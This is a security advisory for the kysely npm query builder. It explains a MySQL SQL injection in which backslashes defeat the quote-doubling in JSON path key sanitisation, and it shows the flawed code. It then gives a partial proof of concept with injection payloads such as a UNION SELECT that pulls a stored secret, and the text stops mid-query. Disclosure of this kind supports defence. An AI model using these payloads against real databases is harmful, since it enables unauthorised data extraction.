GitHub Security Advisory: GHSA-fr9j-6mvq-frcv
Package: kysely (NPM)
Severity: HIGH (CVSS 8.1)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 0.28.12, <= 0.28.13
Patched in: 0.28.14

Summary: Kysely has a MySQL SQL Injection via Backslash Escape Bypass in non-type-safe usage of JSON path keys.

Details:
## Summary

The `sanitizeStringLiteral` method in Kysely's query compiler escapes single quotes (`'` → `''`) but does not escape backslashes. On MySQL with the default `BACKSLASH_ESCAPES` SQL mode, an attacker can inject a backslash before a single quote to neutralize the escaping, breaking out of the JSON path string literal and injecting arbitrary SQL.

## Details

When a user calls `.key(value)` on a JSON path builder, the value flows through:

1. `JSONPathBuilder.key(key)` at `src/query-builder/json-path-builder.ts:166` stores the key as a `JSONPathLegNode` with type `'Member'`.

2. During compilation, `DefaultQueryCompiler.visitJSONPath()` at `src/query-compiler/default-query-compiler.ts:1609` wraps the full path in single quotes (`'$...'`).

3. `DefaultQueryCompiler.visitJSONPathLeg()` at `src/query-compiler/default-query-compiler.ts:1623` calls `sanitizeStringLiteral(node.value)` for string values (line 1630).

4. `sanitizeStringLiteral()` at `src/query-compiler/default-query-compiler.ts:1819-1821` only doubles single quotes:

```typescript
// src/query-compiler/default-query-compiler.ts:121
const LIT_WRAP_REGEX = /'/g

// src/query-compiler/default-query-compiler.ts:1819-1821
protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}
```

The `MysqlQueryCompiler` does not override `sanitizeStringLiteral` — it only overrides `sanitizeIdentifier` for backtick escaping.

**The bypass mechanism:**

In MySQL's default `BACKSLASH_ESCAPES` mode, `\'` inside a string literal is interpreted as an escaped single quote (not a literal backslash followed by a string terminator). Given the input `\' OR 1=1 --`:

1. `sanitizeStringLiteral` sees the `'` and doubles it: `\'' OR 1=1 --`
2. The full compiled path becomes: `'$.\'' OR 1=1 --'`
3. MySQL parses `\'` as an escaped quote character (consuming the first `'` of the doubled pair)
4. The second `'` now terminates the string literal
5. ` OR 1=1 --` is parsed as SQL, achieving injection

The existing test at `test/node/src/sql-injection.test.ts:61-83` only tests single-quote injection (`first' as ...`), which the `''` doubling correctly prevents. It does not test the backslash bypass vector.

## PoC

```javascript
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

const db = new Kysely({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      user: 'root',
      [CREDENTIAL_REDACTED]',
      database: 'testdb',
    }),
  }),
})

// Setup: create a table with JSON data
await sql`CREATE TABLE IF NOT EXISTS users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  data JSON
)`.execute(db)

await sql`INSERT INTO users (data) VALUES ('{"role":"admin","secret":"s3cret"}')`.execute(db)

// Attack: backslash escape bypass in .key()
// An application that passes user input to .key():
const userInput = "\\' OR 1=1) UNION SELECT data FROM users -- " // as never

const query = db
  .selectFrom('users')
  .select((eb) =>